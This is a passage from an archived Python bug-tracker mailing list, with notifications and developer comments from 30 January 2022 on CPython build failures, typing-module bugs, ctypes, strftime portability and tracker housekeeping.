target depends on the system-wide setuptools, if there is system-wide setuptools. If there is no system-wide installed setuptools, apparently the installation works flawlessly. The solution is to tweak the source code of Python, not to depend on (system-wide installed) Python code outside of Python?s tarball. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 07:54:22 2022 From: report at bugs.python.org (Matthew Rahtz) Date: Sun, 30 Jan 2022 12:54:22 +0000 Subject: [issue43224] Add support for PEP 646 Message-ID: <1643547262.57.0.224161469811.issue43224@roundup.psfhosted.org> Change by Matthew Rahtz : ---------- pull_requests: +29200 pull_request: https://github.com/python/cpython/pull/31019 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 08:10:09 2022 From: report at bugs.python.org (Christian Heimes) Date: Sun, 30 Jan 2022 13:10:09 +0000 Subject: =?utf-8?q?=5Bissue46579=5D_Compiling_from_source_prints_=C2=ABModuleNotFo?= =?utf-8?q?undError=3A_No_module_named_=27binascii=27=C2=BB?= In-Reply-To: <1643532742.73.0.172389831963.issue46579@roundup.psfhosted.org> Message-ID: <1643548209.87.0.821339695453.issue46579@roundup.psfhosted.org> Christian Heimes added the comment: CPython's build system does not depend on setuptools. The problem is that setuptools 60.0 introduced a .pth file and _distutils_hack to inject itself into Python import system. Under some circumstances Python's build system is affected by the hack and breaks. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 08:20:18 2022 From: report at bugs.python.org (Matt B) Date: Sun, 30 Jan 2022 13:20:18 +0000 Subject: [issue46581] _typevar_types and _paramspec_tvars are missing from _GenericAlias.copy_with Message-ID: <1643548818.53.0.117293310302.issue46581@roundup.psfhosted.org> New submission from Matt B : c55ff1b352f8b82184f80d9dea220e832691acfc was submitted to fix #44098 and added the _typevar_types and _paramspec_tvars properties to _GenericAlias. However, those properties continue to be omitted from _GenericAlias.copy_with[1]. Further, typing.py is fairly intricate, which makes it hard to understand if that is the only place those properties are absent. A more careful review/audit may be in order. [1]: https://github.com/python/cpython/blob/8b1b27f1939cc4060531d198fdb09242f247ca7c/Lib/typing.py#L1069-L1070 ---------- components: Library (Lib) messages: 412144 nosy: posita priority: normal severity: normal status: open title: _typevar_types and _paramspec_tvars are missing from _GenericAlias.copy_with versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 08:21:44 2022 From: report at bugs.python.org (miss-islington) Date: Sun, 30 Jan 2022 13:21:44 +0000 Subject: [issue46581] _typevar_types and _paramspec_tvars are missing from _GenericAlias.copy_with In-Reply-To: <1643548818.53.0.117293310302.issue46581@roundup.psfhosted.org> Message-ID: <1643548904.8.0.443253521131.issue46581@roundup.psfhosted.org> Change by miss-islington : ---------- keywords: +patch nosy: +miss-islington nosy_count: 1.0 -> 2.0 pull_requests: +29201 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26091 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 08:23:00 2022 From: report at bugs.python.org (Matt B) Date: Sun, 30 Jan 2022 13:23:00 +0000 Subject: [issue46581] _typevar_types and _paramspec_tvars are missing from _GenericAlias.copy_with In-Reply-To: <1643548818.53.0.117293310302.issue46581@roundup.psfhosted.org> Message-ID: <1643548980.08.0.765475502922.issue46581@roundup.psfhosted.org> Matt B added the comment: Filed by request: https://github.com/python/cpython/pull/26091#issuecomment-1024900261 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 08:27:50 2022 From: report at bugs.python.org (Alex Waygood) Date: Sun, 30 Jan 2022 13:27:50 +0000 Subject: [issue46581] _typevar_types and _paramspec_tvars are missing from _GenericAlias.copy_with In-Reply-To: <1643548818.53.0.117293310302.issue46581@roundup.psfhosted.org> Message-ID: <1643549270.27.0.846384090488.issue46581@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +gvanrossum, kj -miss-islington stage: patch review -> type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 08:29:10 2022 From: report at bugs.python.org (Alex Waygood) Date: Sun, 30 Jan 2022 13:29:10 +0000 Subject: [issue46581] _typevar_types and _paramspec_tvars are missing from _GenericAlias.copy_with In-Reply-To: <1643548818.53.0.117293310302.issue46581@roundup.psfhosted.org> Message-ID: <1643549350.98.0.789501846845.issue46581@roundup.psfhosted.org> Change by Alex Waygood : ---------- pull_requests: -29201 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 08:35:56 2022 From: report at bugs.python.org (Alex Waygood) Date: Sun, 30 Jan 2022 13:35:56 +0000 Subject: [issue46581] _typevar_types and _paramspec_tvars are missing from _GenericAlias.copy_with In-Reply-To: <1643548818.53.0.117293310302.issue46581@roundup.psfhosted.org> Message-ID: <1643549756.93.0.255883279706.issue46581@roundup.psfhosted.org> Change by Alex Waygood : ---------- keywords: -patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 08:39:09 2022 From: report at bugs.python.org (Matthew Rahtz) Date: Sun, 30 Jan 2022 13:39:09 +0000 Subject: [issue43224] Add support for PEP 646 Message-ID: <1643549949.21.0.778796645272.issue43224@roundup.psfhosted.org> Change by Matthew Rahtz : ---------- pull_requests: +29202 pull_request: https://github.com/python/cpython/pull/31021 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 08:44:46 2022 From: report at bugs.python.org (Alex Waygood) Date: Sun, 30 Jan 2022 13:44:46 +0000 Subject: [issue46483] `pathlib.PurePath.__class_getitem__` does not return `GenericAlias` In-Reply-To: <1642925790.59.0.879604059643.issue46483@roundup.psfhosted.org> Message-ID: <1643550286.73.0.0489257948215.issue46483@roundup.psfhosted.org> Alex Waygood added the comment: The desmper121 user appears to be a spammer; I am undoing all the changes they made to this BPO ticket. ---------- nosy: -barry, lys.nikolaou, pablogsal, r.david.murray, yselivanov type: -> behavior versions: -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 08:54:22 2022 From: report at bugs.python.org (Roundup Robot) Date: Sun, 30 Jan 2022 13:54:22 +0000 Subject: [issue46400] Please update bundled libexpat to 2.4.4 with security fixes In-Reply-To: <1642350760.98.0.31451148779.issue46400@roundup.psfhosted.org> Message-ID: <1643550862.73.0.601755570237.issue46400@roundup.psfhosted.org> Change by Roundup Robot : ---------- keywords: +patch nosy: +python-dev nosy_count: 2.0 -> 3.0 pull_requests: +29203 stage: -> patch review pull_request: https://github.com/python/cpython/pull/31022 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 09:18:24 2022 From: report at bugs.python.org (ntrischi) Date: Sun, 30 Jan 2022 14:18:24 +0000 Subject: [issue46582] Windows builds fail: fatal error RC1116: RC terminating after preprocessor errors Message-ID: <1643552304.88.0.0332252948462.issue46582@roundup.psfhosted.org> New submission from ntrischi : Compiling Python3.8.9 from source on Windows 10 with VS2019. Running PCBuild\build.bat, I'm getting the following issue: C:\Program Files (x86)\Windows Kits\10\Include\10.0.22000.0\um\winnt.h(253): error RC2188: C:\Python-3.8.9\PCbuild\obj\38amd64_Release\pythoncore\RCa09752(53) : fatal error RC1116: RC terminating after preprocessor errors [C:\Python-3.8.9\PCbuild\pythoncore.vcxproj] I noticed this issue (https://bugs.python.org/issue45220) is closed but it doesn't seem to be resolved. ---------- components: Build messages: 412147 nosy: eric.snow, eryksun, lukasz.langa, miss-islington, ntrischi, paul.moore, serhiy.storchaka, sobolevn, steve.dower, tim.golden, vstinner, zach.ware priority: normal severity: normal status: open title: Windows builds fail: fatal error RC1116: RC terminating after preprocessor errors type: compile error versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 09:38:15 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 30 Jan 2022 14:38:15 +0000 Subject: [issue46583] Modernize `selectors.py` by removing unused `sys.version_info` check Message-ID: <1643553495.3.0.869043137908.issue46583@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now `selectors.py` contains this check on module-level: ``` if sys.version_info >= (3, 5): ... ``` Source: https://github.com/python/cpython/blame/8fb36494501aad5b0c1d34311c9743c60bb9926c/Lib/selectors.py#L53 Learning from other modules, we tend to remove lines like this when some python version reaches EOL. And since 3.4 is not support for a long time now, this condition is always true. I propose to delete it. ---------- components: Library (Lib) messages: 412148 nosy: asvetlov, sobolevn, yselivanov priority: normal severity: normal status: open title: Modernize `selectors.py` by removing unused `sys.version_info` check type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 09:39:36 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 30 Jan 2022 14:39:36 +0000 Subject: [issue46583] Modernize `selectors.py` by removing unused `sys.version_info` check In-Reply-To: <1643553495.3.0.869043137908.issue46583@roundup.psfhosted.org> Message-ID: <1643553576.63.0.340478907958.issue46583@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +29204 stage: -> patch review pull_request: https://github.com/python/cpython/pull/31023 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 09:42:27 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 30 Jan 2022 14:42:27 +0000 Subject: [issue46581] _typevar_types and _paramspec_tvars are missing from _GenericAlias.copy_with In-Reply-To: <1643548818.53.0.117293310302.issue46581@roundup.psfhosted.org> Message-ID: <1643553747.67.0.258833165668.issue46581@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- nosy: +sobolevn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 09:44:34 2022 From: report at bugs.python.org (Ken Jin) Date: Sun, 30 Jan 2022 14:44:34 +0000 Subject: [issue46581] _typevar_types and _paramspec_tvars are missing from _GenericAlias.copy_with In-Reply-To: <1643548818.53.0.117293310302.issue46581@roundup.psfhosted.org> Message-ID: <1643553874.74.0.865592405508.issue46581@roundup.psfhosted.org> Ken Jin added the comment: Wow! Thanks, that's an interesting find. My hunch is that we should be passing in _typevar_types and _paramspec_tvars in the copy_with of _GenericAlias and _ConcatenateGenericAlias. Inconsistent copy_with could trigger subtle bugs in ForwardRefs and get_type_hints. I can reproduce a semi-bug right now: >>> P = ParamSpec('P') >>> Callable[P, int].__parameters__ (~P,) >>> Callable[P, int].copy_with((P,int)) typing.Callable[~P, int] >>> Callable[P, int].copy_with((P,int)).__parameters__ () ^ This shouldn't be empty!! Would you like to submit a patch for this? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 09:47:35 2022 From: report at bugs.python.org (Kodiologist) Date: Sun, 30 Jan 2022 14:47:35 +0000 Subject: [issue46555] Unicode-mangled names refer inconsistently to constants In-Reply-To: <1643320642.51.0.743138920796.issue46555@roundup.psfhosted.org> Message-ID: <1643554055.12.0.340849823358.issue46555@roundup.psfhosted.org> Kodiologist added the comment: > the builtin variable "True" Is the existence of this entity, as separate from the constant `True`, documented anywhere? constants.rst doesn't seem to acknowledge it. Indeed, is its existence a feature, or is it a CPython quirk? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 09:49:02 2022 From: report at bugs.python.org (Ken Jin) Date: Sun, 30 Jan 2022 14:49:02 +0000 Subject: [issue46571] Strange `@typing.no_type_check` behavior for class variables In-Reply-To: <1643465522.51.0.205719891345.issue46571@roundup.psfhosted.org> Message-ID: <1643554142.38.0.311249989497.issue46571@roundup.psfhosted.org> Ken Jin added the comment: I agree with Jelle, let's go with (2). It feels strange to have a decorator modify types that it doesn't own. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 09:52:51 2022 From: report at bugs.python.org (Andrei Kulakov) Date: Sun, 30 Jan 2022 14:52:51 +0000 Subject: [issue39100] email.policy.SMTP throws AttributeError on invalid header In-Reply-To: <1576783934.54.0.946649596481.issue39100@roundup.psfhosted.org> Message-ID: <1643554371.31.0.223290123466.issue39100@roundup.psfhosted.org> Andrei Kulakov added the comment: I confirmed I get the same error as Anton on 3.9 and 3.11 . ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 09:55:30 2022 From: report at bugs.python.org (Alex Waygood) Date: Sun, 30 Jan 2022 14:55:30 +0000 Subject: [issue46571] Strange `@typing.no_type_check` behavior for class variables In-Reply-To: <1643465522.51.0.205719891345.issue46571@roundup.psfhosted.org> Message-ID: <1643554530.14.0.462013047621.issue46571@roundup.psfhosted.org> Alex Waygood added the comment: I fully withdraw my suggestion of deprecating the decorator; it's evidently used more than I realised. I don't have any strong opinion on whether (1) or (2) would be a better solution. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 09:56:00 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 30 Jan 2022 14:56:00 +0000 Subject: [issue46584] Modernize `ctypes/test_python_api` by removing old version check Message-ID: <1643554560.13.0.0620214587258.issue46584@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now Lib/ctypes/test/test_python_api.py has these lines: ``` if sys.version_info > (2, 4): c_py_ssize_t = c_size_t else: c_py_ssize_t = c_int ``` Source: https://github.com/python/cpython/blame/8fb36494501aad5b0c1d34311c9743c60bb9926c/Lib/ctypes/test/test_python_api.py#L13-L16 I think that there's no reason to keep code compat for python versions `<=2.3`. Other modules in CPython do refactor this by removing old and unused code, especially in tests. I propose to do the same here. ---------- components: Tests, ctypes messages: 412154 nosy: amaury.forgeotdarc, belopolsky, meador.inge, sobolevn, zach.ware priority: normal severity: normal status: open title: Modernize `ctypes/test_python_api` by removing old version check type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 09:57:30 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 30 Jan 2022 14:57:30 +0000 Subject: [issue46584] Modernize `ctypes/test_python_api` by removing old version check In-Reply-To: <1643554560.13.0.0620214587258.issue46584@roundup.psfhosted.org> Message-ID: <1643554650.49.0.996667291755.issue46584@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +29205 stage: -> patch review pull_request: https://github.com/python/cpython/pull/31024 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 10:03:49 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 30 Jan 2022 15:03:49 +0000 Subject: [issue46585] Should we re-export `PyObj_FromPtr` in `ctypes`? Message-ID: <1643555029.82.0.98723415046.issue46585@roundup.psfhosted.org> New submission from Nikita Sobolev : After looking at https://github.com/python/cpython/blame/8fb36494501aad5b0c1d34311c9743c60bb9926c/Lib/ctypes/test/test_python_api.py#L5-L10 in https://bugs.python.org/issue46584 it seems that we should address this comment: ``` # This section should be moved into ctypes\__init__.py, when it's ready. from _ctypes import PyObj_FromPtr ``` by either: 1. Making `PyObj_FromPtr` public by re-exporting it from `ctypes` 2. Removing this comment Arguments for `(1)`: - It is quite widely used and there are a lot of articles mentioning it: https://www.programcreek.com/python/example/77012/_ctypes.PyObj_FromPtr and https://programtalk.com/python-examples/_ctypes.PyObj_FromPtr/ Basically, Google is filled with results. - It looks useful for educational purposes. I don't think that I am familiar with `ctypes`'s history well enough to make an educated dicision here. But, I would love to work on this after this decision is made :) ---------- components: ctypes messages: 412155 nosy: amaury.forgeotdarc, belopolsky, meador.inge, sobolevn, zach.ware priority: normal severity: normal status: open title: Should we re-export `PyObj_FromPtr` in `ctypes`? type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 10:12:05 2022 From: report at bugs.python.org (Dutcho) Date: Sun, 30 Jan 2022 15:12:05 +0000 Subject: [issue46586] In documentation contents enum.property erroneously links to built-in property Message-ID: <1643555525.86.0.209520180874.issue46586@roundup.psfhosted.org> New submission from Dutcho : https://docs.python.org/3.11/library/enum.html#module-contents contains: property() Allows Enum members to have attributes without conflicting with member names. In above, property() is links to: https://docs.python.org/3.11/library/functions.html#property instead of to the proper: https://docs.python.org/3.11/library/enum.html#enum.property ---------- assignee: docs at python components: Documentation messages: 412156 nosy: Dutcho, docs at python priority: normal severity: normal status: open title: In documentation contents enum.property erroneously links to built-in property versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 10:14:48 2022 From: report at bugs.python.org (Christian Heimes) Date: Sun, 30 Jan 2022 15:14:48 +0000 Subject: [issue46587] datetime and time tests use non-portal "%4Y" format Message-ID: <1643555688.39.0.0858908096334.issue46587@roundup.psfhosted.org> New submission from Christian Heimes : Several test cases for datetime and time modules use the non-standard and non-portal width prefix for strftime: >>> datetime.date(42, 1, 1).strftime("%4Y") '0042' According to man strftime(3) https://man7.org/linux/man-pages/man3/strftime.3.html the width field is glibc-specific extension: > Glibc provides some extensions for conversion specifications. > (These extensions are not specified in POSIX.1-2001, but a few > other systems provide similar features.) Between the '%' > character and the conversion specifier character, an optional > flag and field width may be specified. The width field is not supported by Emscripten, which only implements POSIX.1-2001 compatible date and time formatting: https://github.com/emscripten-core/emscripten/blob/3.1.2/src/library.js#L735 Python 3.11.0a4+ (heads/main-dirty:b1a3446, Jan 25 2022, 10:19:07) [Clang 14.0.0 (https://github.com/llvm/llvm-project f142c45f1e494f8dbdcc1bcf1412 on emscripten Type "help", "copyright", "credits" or "license" for more information. >>> import datetime >>> datetime.date(42, 1, 1).strftime("%4Y") '%4Y' Also see bpo-13305 ---------- components: Tests messages: 412157 nosy: christian.heimes priority: normal severity: normal status: open title: datetime and time tests use non-portal "%4Y" format type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 10:46:39 2022 From: report at bugs.python.org (Alex Waygood) Date: Sun, 30 Jan 2022 15:46:39 +0000 Subject: [issue46586] In documentation contents enum.property erroneously links to built-in property In-Reply-To: <1643555525.86.0.209520180874.issue46586@roundup.psfhosted.org> Message-ID: <1643557599.03.0.181718151736.issue46586@roundup.psfhosted.org> Change by Alex Waygood : ---------- assignee: docs at python -> ethan.furman nosy: +ethan.furman stage: -> needs patch type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 11:06:44 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 30 Jan 2022 16:06:44 +0000 Subject: [issue46571] Strange `@typing.no_type_check` behavior for class variables In-Reply-To: <1643465522.51.0.205719891345.issue46571@roundup.psfhosted.org> Message-ID: <1643558804.87.0.57928596975.issue46571@roundup.psfhosted.org> Nikita Sobolev added the comment: Ken Jin, Jelle, can you please share your ideas why `(2)` is better than `(1)`? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 11:07:48 2022 From: report at bugs.python.org (Ken Jin) Date: Sun, 30 Jan 2022 16:07:48 +0000 Subject: [issue46407] optimizing `1 << n` or `2 ** n` and modulo-only operations In-Reply-To: <1642402003.92.0.19902831898.issue46407@roundup.psfhosted.org> Message-ID: <1643558868.79.0.197872021013.issue46407@roundup.psfhosted.org> Change by Ken Jin : ---------- nosy: +kj nosy_count: 6.0 -> 7.0 pull_requests: +29206 pull_request: https://github.com/python/cpython/pull/31025 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 11:21:05 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 30 Jan 2022 16:21:05 +0000 Subject: [issue46571] Strange `@typing.no_type_check` behavior for class variables In-Reply-To: <1643465522.51.0.205719891345.issue46571@roundup.psfhosted.org> Message-ID: <1643559665.58.0.490693574623.issue46571@roundup.psfhosted.org> Jelle Zijlstra added the comment: 1. Less change in behavior 2. From the purpose of the decorator, it makes sense for it to apply to nested classes as well as methods, even if the docs don't say so explicitly. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 11:28:29 2022 From: report at bugs.python.org (Guido van Rossum) Date: Sun, 30 Jan 2022 16:28:29 +0000 Subject: [issue46571] Strange `@typing.no_type_check` behavior for class variables In-Reply-To: <1643465522.51.0.205719891345.issue46571@roundup.psfhosted.org> Message-ID: <1643560109.92.0.457862754662.issue46571@roundup.psfhosted.org> Guido van Rossum added the comment: I agree that Jelle's proposal (Nikita's #2) looks best *if* we can implement it. How do we ensure that class A: ... @no_type_check class B: AA = A class C: ... ... suppresses annotations in B and C but not in A? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 11:43:55 2022 From: report at bugs.python.org (Eryk Sun) Date: Sun, 30 Jan 2022 16:43:55 +0000 Subject: [issue46582] Windows builds fail: fatal error RC1116: RC terminating after preprocessor errors In-Reply-To: <1643552304.88.0.0332252948462.issue46582@roundup.psfhosted.org> Message-ID: <1643561035.51.0.778661752951.issue46582@roundup.psfhosted.org> Eryk Sun added the comment: PR 29396 and PR 29501 didn't get backported to 3.8 in November. Probably that was intentional since 3.8 only gets security fixes since 3.8.10, which was released in May. Supporting a newer build environment isn't a security issue. A core developer could make an exception for this case, so I'll leave this open for now. ---------- components: +Windows versions: -Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 11:47:50 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 30 Jan 2022 16:47:50 +0000 Subject: [issue46571] Strange `@typing.no_type_check` behavior for class variables In-Reply-To: <1643465522.51.0.205719891345.issue46571@roundup.psfhosted.org> Message-ID: <1643561270.07.0.657148534457.issue46571@roundup.psfhosted.org> Jelle Zijlstra added the comment: I think we could do it by looking at __qualname__. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 11:51:17 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 30 Jan 2022 16:51:17 +0000 Subject: [issue31817] Compilation Error with Python 3.6.1/3.6.3 with Tkinter In-Reply-To: <1508407674.96.0.213398074469.issue31817@psf.upfronthosting.co.za> Message-ID: <1643561477.47.0.929395369233.issue31817@roundup.psfhosted.org> Change by Irit Katriel : ---------- stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 11:51:48 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 30 Jan 2022 16:51:48 +0000 Subject: [issue37091] subprocess - uncaught PermissionError in send_signal can cause hang In-Reply-To: <1559170322.53.0.309237543574.issue37091@roundup.psfhosted.org> Message-ID: <1643561508.78.0.423170213587.issue37091@roundup.psfhosted.org> Change by Irit Katriel : ---------- stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 11:52:21 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 30 Jan 2022 16:52:21 +0000 Subject: [issue38295] test_relative_path of test_py_compile fails on macOS 10.15 Catalina In-Reply-To: <1569605043.98.0.657218273343.issue38295@roundup.psfhosted.org> Message-ID: <1643561541.04.0.258038282474.issue38295@roundup.psfhosted.org> Change by Irit Katriel : ---------- stage: patch review -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 11:53:54 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 30 Jan 2022 16:53:54 +0000 Subject: [issue42390] Other Python implementations may not expose the module name in datetime type names In-Reply-To: <1605626767.59.0.625692479281.issue42390@roundup.psfhosted.org> Message-ID: <1643561634.89.0.240067792617.issue42390@roundup.psfhosted.org> Irit Katriel added the comment: Closing as the OP is unresponsive. ---------- resolution: -> rejected stage: patch review -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 11:56:31 2022 From: report at bugs.python.org (ntrischi) Date: Sun, 30 Jan 2022 16:56:31 +0000 Subject: [issue46582] Windows builds fail: fatal error RC1116: RC terminating after preprocessor errors In-Reply-To: <1643552304.88.0.0332252948462.issue46582@roundup.psfhosted.org> Message-ID: <1643561791.09.0.330861859427.issue46582@roundup.psfhosted.org> ntrischi added the comment: Thanks for pointing out those PRs. I agree, this is not a security patch but it breaks the compilation process for users choosing to compile from source on Windows. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 11:59:31 2022 From: report at bugs.python.org (Caio Agiani) Date: Sun, 30 Jan 2022 16:59:31 +0000 Subject: [issue46588] fix typo in test_calltip.py Message-ID: <1643561971.97.0.0543410253105.issue46588@roundup.psfhosted.org> Change by Caio Agiani : ---------- components: Tests nosy: caioagiani priority: normal severity: normal status: open title: fix typo in test_calltip.py type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 12:00:40 2022 From: report at bugs.python.org (Caio Agiani) Date: Sun, 30 Jan 2022 17:00:40 +0000 Subject: [issue46588] fix typo in test_calltip.py Message-ID: <1643562040.15.0.858194736995.issue46588@roundup.psfhosted.org> Change by Caio Agiani : ---------- keywords: +patch pull_requests: +29207 stage: -> patch review pull_request: https://github.com/python/cpython/pull/31027 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 12:14:33 2022 From: report at bugs.python.org (Eryk Sun) Date: Sun, 30 Jan 2022 17:14:33 +0000 Subject: [issue46585] Should we re-export `PyObj_FromPtr` in `ctypes`? In-Reply-To: <1643555029.82.0.98723415046.issue46585@roundup.psfhosted.org> Message-ID: <1643562873.16.0.504226870834.issue46585@roundup.psfhosted.org> Eryk Sun added the comment: Alternatively, one can cast the address to py_object and dereference its `value`. For example: >>> obj = bytearray(b'spam') >>> sys.getrefcount(obj) 2 >>> obj2 = ctypes.cast(id(obj), ctypes.py_object).value >>> obj2 is obj True >>> sys.getrefcount(obj) 3 >>> del obj2 >>> sys.getrefcount(obj) 2 ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 12:15:01 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 30 Jan 2022 17:15:01 +0000 Subject: [issue40174] HAVE_CLOCK_GETTIME not repected in pytime.c In-Reply-To: <1585927809.98.0.29079570836.issue40174@roundup.psfhosted.org> Message-ID: <1643562901.63.0.622682734714.issue40174@roundup.psfhosted.org> Irit Katriel added the comment: I'll close this in a week if there is no response. (It seems to have been abandoned by the OP after a minor code review disagreement if I understand their last comment.) ---------- status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 12:51:28 2022 From: report at bugs.python.org (Mark Shannon) Date: Sun, 30 Jan 2022 17:51:28 +0000 Subject: [issue17206] Py_XDECREF() expands its argument multiple times In-Reply-To: <1360858057.09.0.617835061471.issue17206@psf.upfronthosting.co.za> Message-ID: <1643565088.35.0.796759499824.issue17206@roundup.psfhosted.org> Change by Mark Shannon : ---------- pull_requests: +29209 pull_request: https://github.com/python/cpython/pull/30855 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 13:15:52 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 30 Jan 2022 18:15:52 +0000 Subject: [issue46555] Unicode-mangled names refer inconsistently to constants In-Reply-To: <1643320642.51.0.743138920796.issue46555@roundup.psfhosted.org> Message-ID: <1643566552.17.0.657979735176.issue46555@roundup.psfhosted.org> Serhiy Storchaka added the comment: https://docs.python.org/3/library/constants.html#built-in-constants ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 13:21:25 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 30 Jan 2022 18:21:25 +0000 Subject: [issue43224] Add support for PEP 646 Message-ID: <1643566885.58.0.363744798535.issue43224@roundup.psfhosted.org> Change by Jelle Zijlstra : ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 13:49:04 2022 From: report at bugs.python.org (Eryk Sun) Date: Sun, 30 Jan 2022 18:49:04 +0000 Subject: [issue46578] cant DEBUG os.spawnv() In-Reply-To: <1643527362.27.0.337252732186.issue46578@roundup.psfhosted.org> Message-ID: <1643568544.59.0.400881904431.issue46578@roundup.psfhosted.org> Eryk Sun added the comment: > cmd310 = ["/LIBPATH:D:\\python310\\lib\\site-packages\\torch\\lib", The `argv` parameter of os.spawnv() should begin with a command name to ensure that the application parses its command-line correctly. This doesn't necessarily have to be a file path since the `path` argument is what gets executed. For example, in this case I would use `cmd310 = ["link", ...]`. That said, for various reasons, including the correct quoting of command-line arguments that contain spaces, I recommend that you use the subprocess module instead of os.spawnv(). For example, use `p = subprocess.run(cmd310, executable=executable)`. The first item of the argument list still needs to be "link" in this case. Or include the full path of "link.exe" at the start of cmd310, and use `p = subprocess.run(cmd310)`. > But i cant DEBUG os.spawnv() on Pycharm. In Windows, os.spawnv() is a builtin function from the nt extension module, defined in Modules/posixmodule.c. It is not defined in os.py. The C implementation is a minimal wrapper around the C runtime's _wspawnv() function [1]. Probably PyCharm isn't capable of debugging a builtin function. --- [1] https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/spawnv-wspawnv ---------- components: +Windows -Build nosy: +eryksun, paul.moore, steve.dower, tim.golden, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 13:58:53 2022 From: report at bugs.python.org (Carl Friedrich Bolz-Tereick) Date: Sun, 30 Jan 2022 18:58:53 +0000 Subject: [issue46555] Unicode-mangled names refer inconsistently to constants In-Reply-To: <1643320642.51.0.743138920796.issue46555@roundup.psfhosted.org> Message-ID: <1643569133.59.0.408960600303.issue46555@roundup.psfhosted.org> Carl Friedrich Bolz-Tereick added the comment: Ok, I can definitely agree with Serhiy pov: "True" is a keyword that always evaluates to the object that you get when you call bool(1). There is usually no name "True" and directly assigning to it is forbidden. But there are various other ways to assign a name "True". One is eg globals("True") = 5, another one (discussed in this issue) is using identifiers that NFKC-normalize to the 